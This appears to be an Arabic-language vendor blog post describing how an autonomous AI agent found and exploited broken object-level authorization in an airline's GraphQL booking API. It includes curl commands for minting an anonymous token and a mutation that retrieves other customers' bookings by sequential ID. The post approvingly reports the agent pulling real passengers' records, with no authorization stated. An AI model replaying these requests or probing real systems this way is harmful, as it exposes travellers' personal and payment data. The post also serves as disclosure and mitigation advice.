وجهة نظر العميل الأحمر: استغلال تفويض مستوى الكائن المكسور في واجهة برمجة تطبيقات GraphQL الخاصة بشركة الطيران

تركز وجهة نظر العميل الأحمر هذه على ترخيص مستوى الكائن المكسور (BOLA)، وتتعمق في ثغرة أمنية خطيرة لتجاوز الترخيص تم اكتشافها في واجهة برمجة تطبيقات حجز GraphQL الخاصة بشركة الطيران. كجزء من مهمته المستمرة، يقوم العميل الأحمر بفحص الإنترنت العام وعملائنا بشكل مستمر، مما يساعد في الكشف عن المخاطر القابلة للاستغلال في البرية. يعمل Red Agent بشكل مستقل تمامًا، حيث قام بتعيين بنية الواجهة الخلفية، وإنشاء جلسة مجهولة، والتحقق من استخراج البيانات الجماعية في غضون 15 دقيقة. كشف هذا الاستغلال عن بيانات الركاب رفيعة المستوى، مما أدى إلى توفير إمكانات قراءة وكتابة كاملة عبر مسارات السفر النشطة.

ما هو الترخيص المكسور على مستوى الكائن (BOLA)؟

يحدث تخويل مستوى الكائن المعطل عندما يفشل التطبيق في التحقق من ما إذا كان المستخدم لديه الأذونات المطلوبة للوصول إلى كائن أو سجل معين. وهي تحتل حاليًا المركز الأول في قائمة OWASP API Security Top 10.

في البنى السحابية الحديثة، تعمل واجهات برمجة التطبيقات كبوابات برمجية مباشرة للخدمات الصغيرة وطبقات التنسيق وبحيرات البيانات الحساسة. عندما يعتمد المطورون على معرفات يمكن التنبؤ بها دون فرض فحوصات ترخيص صارمة خاصة بالمستخدم في طبقة محلل الواجهة الخلفية، يصبح النظام بأكمله مكشوفًا. يمكن للمهاجمين التعامل مع المعرفات في طلبات واجهة برمجة التطبيقات (API) لتجاوز عناصر التحكم في التحقق من صحة الواجهة الأمامية بالكامل، مما يسمح لهم بالوصول إلى قواعد البيانات الأساسية وسجلات المستخدم المنظمة مباشرةً.

ماذا اكتشف العميل الأحمر؟

اكتشف Red Agent أن واجهة برمجة تطبيقات حجز GraphQL الخاصة بشركة الطيران تستخدم معرفات الأعداد الصحيحة التسلسلية دون تنفيذ عمليات التحقق من ترخيص الواجهة الخلفية. في حين أن التطبيق يفرض مصادقة الواجهة الأمامية عن طريق إنشاء رموز مميزة للجلسة لأدوار مستخدمين مختلفة (مثل المستخدمين المجهولين والمسجلين والمستخدمين في الشركات)، فشلت أدوات حل واجهة برمجة التطبيقات (API) في التحقق من صحة هذه الأدوار عند معالجة طلبات البيانات.

من خلال إرسال أرقام الحجز التسلسلية إلى وحدات الحل غير المحمية هذه، حصل العميل الأحمر على وصول غير مصادق إلى قاعدة بيانات الركاب. وقد سمح ذلك باستخراج سجلات السفر الممتدة على مدار عامين، بما في ذلك الأسماء وتواريخ الميلاد وعناوين إرسال الفواتير وبطاقات الائتمان المقنعة ومسارات الطيران المباشرة. وبعيدًا عن سرقة البيانات، تمتلك الجلسة المجهولة أيضًا الأذونات المطلوبة لتعديل الحجوزات النشطة أو حذفها.

كيف وجدت الاستغلال؟

اقترب العميل الأحمر من الهدف بدون أي معرفة مسبقة، واعتمد فقط على الاختبار القائم على المنطق لبناء نموذج عقلي ديناميكي للنظام وتكرار المسح وفقًا لذلك.

الهدف

كان الهدف هو البنية التحتية العامة الأساسية للويب لشركة الطيران. بدأ Red Agent تقييمه باستخدام عنوان URL جذر واحد دون الحاجة إلى سياق أو بذور أو بيانات اعتماد إضافية. ركزت فرضياتها المبكرة على رسم خرائط لنقاط الدخول العامة، واكتشاف نقاط نهاية واجهة برمجة التطبيقات الخلفية، وتحديد آليات إدارة الجلسة، والتحقق من عدم اتساق معالجة المعلمات داخل سير عمل الحجز.

المرحلة الأولى: رسم الخرائط من جانب العميل وسك الجلسة

بدأ Red Agent بالتحليل المنهجي لحزم JavaScript من جانب العميل التي تم تنزيلها بواسطة زائر عادي إلى الصفحة الرئيسية. ومن هذا التحليل، نجحت في استخلاص البصمة الهيكلية لبنية الواجهة الخلفية مما سمح لها باكتشاف بوابة واجهة برمجة التطبيقات الأساسية في نطاق فرعي مخصص وتحديد تدفق اكتساب الرمز المميز متعدد الخطوات.

افترض الوكيل أنه يمكنه إعادة تشغيل هذا التسلسل للحصول على جلسة صالحة. لقد نفذت تدفق الرمز المميز باستخدام بيانات اعتماد فارغة، وتكيفت بناءً على الاستجابات الملحوظة لسك رمز مميز لجلسة ويب مجهولة بنجاح.

# Step 1: Request initial token with zero credentials
curl -s -X POST 'https://api.[redacted]/api/kdf/v2/token' \
-H 'Content-Type: application/json' \
-d '{"credentials":{"channelType":"DigitalWeb"}}'
# Step 2: Exchange initial token for an anonymous session token

curl -s 'https://api.[redacted]/api/kdf/v1/token' \
-H 'Authorization: Bearer <initial_token>'

أصدر الخادم رمزًا مميزًا للجلسة مع رمز دور ويب مجهول، وهو مخصص هيكليًا فقط للتصفح غير المصادق لجداول الرحلات العامة.

المرحلة الثانية: استبطان مخطط GraphQL

مسلحًا برمز جلسة مجهول صالح، أصدر Red Agent استعلامًا شاملاً لاستقصاء GraphQL لتعيين مخطط الواجهة الخلفية ديناميكيًا. كشف الرد عن بصمة هائلة: 514 استفسارًا و 428 طفرة – كل ما هو متاح للجلسة المجهولة.

قام الوكيل بتحليل هذه الطفرات ووضع علامة على العديد من العمليات الحساسة للغاية التي تقبل معلمات أعداد صحيحة بسيطة، مثل bookingRetrieveByBookingId. لقد طورت فرضية مفادها أن نقاط النهاية هذه قد تفتقر إلى التحقق المناسب من صحة الواجهة الخلفية وركزت تحقيقاتها هناك.

الاختراق

حدث الاختراق عندما قام العميل الأحمر بصياغة حمولة طفرة مستهدفة مصممة للاستعلام عن معرف حجز عدد صحيح محدد ومتوقع:

curl -s -X POST 'https://api.[redacted]/api/v1/graph' \
-H 'Authorization: Bearer <anonymous_session_token>' \
-H 'Content-Type: application/json' \
-d '{"query":"mutation { bookingRetrieveByBookingId(bookingId: 144 (redacted)) { recordLocator passengers { key value { name { first last } } } contacts { key value { emailAddress phoneNumbers { number } } } journeys { designator { origin destination departure } } } }"}'

قامت الواجهة الخلفية بمعالجة الطلب وإرجاع سجل الحجز الكامل وغير المنقح للعميل النشط. للتأكد من أن هذا كان نظاميًا، قام العميل الأحمر باختبار عشرين معرفًا تسلسليًا. أعاد كل طلب ملفًا شخصيًا مميزًا للعميل بما في ذلك الأسماء وتفاصيل الاتصال وعناوين إرسال الفواتير ومسارات الرحلة.

التحقق من صحة تعرض البيانات

قام الوكيل بمقارنة هذه النتائج مع نقاط نهاية REST التكميلية للتحقق من المدى الكامل لتعرض البيانات:

• GET /api/kdf/v1/booking/passengers – الأسماء الكاملة وتواريخ الميلاد والملفات التعريفية المتعلقة بالجنس

• GET /api/kdf/v1/booking/contacts – عناوين البريد الإلكتروني الشخصية وأرقام الهواتف المباشرة

• GET /api/kdf/v1/booking/payments – بطاقات الائتمان المقنعة، وعناوين إرسال الفواتير التي تم التحقق منها

{
"recordLocator": "REDACTED",
"passengers": [{"name": {"first": "████", "last": "████"}, "dateOfBirth":
"1995-██-██"}],
"contacts": [{"emailAddress": "████@gmail.com", "phoneNumbers": [{"number": "+1-███-███-████"}]}],
"payments": [{"cardNumber": "████████████5781", "expiration": "2028-09",
"avs": {"streetAddress": "████ ██████ Blvd", "city": "████████", "state": "██"}}],
"journeys": [{"designator": {"origin": "███", "destination": "███", "departure": "███"}}]
}

لقد تحققت من صحة تعرض هذه البيانات لكل حجز: الاسم الكامل، وتاريخ الميلاد، والبريد الإلكتروني، والهاتف، وعنوان إرسال الفواتير، وبطاقة الائتمان المقنعة مع انتهاء الصلاحية، ورقم الولاء، ومسار الرحلة الكامل.

لماذا هذا مهم

لا تستطيع ماسحات DAST التقليدية والأدوات المعتمدة على التوقيع اكتشاف هذه الفئة من العيوب المنطقية. نظرًا لأن الطلب يستخدم بناء جملة GraphQL صالحًا تمامًا ونقاط نهاية مشروعة، فلا يبدو ذلك غير معتاد بالنسبة لأداة الأمان القياسية. لم تكن الحمولة الفائزة تحمل توقيعًا ثابتًا، ويتطلب اكتشافها نموذجًا عقليًا ديناميكيًا قادرًا على ربط ملاحظات متسلسلة متعددة.

كان على Red Agent قراءة التعليمات البرمجية من جانب العميل، واستخراج تدفقات المصادقة ديناميكيًا، وتعيين مخطط GraphQL بالكامل، والتعرف على العلاقة المعمارية بين الرموز المميزة المجهولة ومحللي البيانات غير المحمية. تعمل هذه الثغرة الأمنية في طبقة التطبيقات على توسيع نطاق الانفجار بشكل كبير داخل البيئة السحابية. من خلال تعريض وحدات حل قاعدة البيانات الأساسية لحركة مرور الإنترنت غير المصادق عليها، يؤدي خلل منطقي بسيط إلى إبطال جميع إجراءات الأمان المحيطة بالشبكة بشكل فعال. في البنى السحابية الحديثة، يعد ضمان التفويض القوي والمراعي للسياق على مستوى الكائن هو الطريقة الوحيدة لمنع الوكلاء الآليين من اختراق طبقات البيانات بأكملها في غضون دقائق.

الوجبات السريعة الرئيسية

• مهاجمو الذكاء الاصطناعي موجودون هنا بالفعل: يقوم أحد عملاء الذكاء الاصطناعي بقراءة جافا سكريبت بشكل مستقل، وإعداد جلسة، واكتشاف مخطط واجهة برمجة التطبيقات (API)، وتحديد فجوة الترخيص، والتأكيد على وصول البيانات الجماعية إلى قاعدة بيانات الحجز الخاصة بشركة طيران كبرى، كل ذلك في غضون 15 دقيقة، دون أي توجيه بشري. يمكن لأي مهاجم لديه إمكانية الوصول إلى النموذج الحدودي تكرار هذه السلسلة اليوم. لقد تغير بشكل جذري الحاجز الذي يحول دون اختراق أنظمة الإنتاج.

• الأساسيات هي الخرق: ولم يكن هذا خطأ معقدا. لقد كان فحص ترخيص مفقودًا على معرف عدد صحيح متسلسل، وهو الخطر الأكثر شيوعًا لـ OWASP API رقم 1 منذ عام 2019. يتم فحص الوصول على مستوى الكائن على كل محلل، ومعرفات غير قابلة للتخمين، وتقييد استبطان GraphQL في الإنتاج. هذه هي وسائل التخفيف المعروفة التي لا تنشرها معظم المؤسسات، ولا يعتبرها وكلاء البرمجة أمرًا مفروغًا منه عند استخدام تطبيقات البرمجة الفعّالة.

• الماسحات الضوئية التقليدية لا تلحظ هذه الفئة من الثغرات الأمنية: يضع العميل الأحمر افتراضًا عند كل نقطة نهاية يلمسها، مما يمكنه من اكتشاف المخاطر متعددة الخطوات التي تظل نقاطًا عمياء بالنسبة للماسحات الضوئية التقليدية القائمة على التوقيع.

هل تريد رؤية المزيد من العميل الأحمر؟

سنشارك المزيد من الأمثلة على المخاطر التي يكشف عنها Red Agent. إذا كنت ترغب في معرفة أنواع المخاطر التي يمكن أن تجدها في بيئتك، فتعرف على المزيد حول Red Agent (يتطلب تسجيل الدخول) أو قم بجدولة عرض توضيحي مباشر مع فريقنا.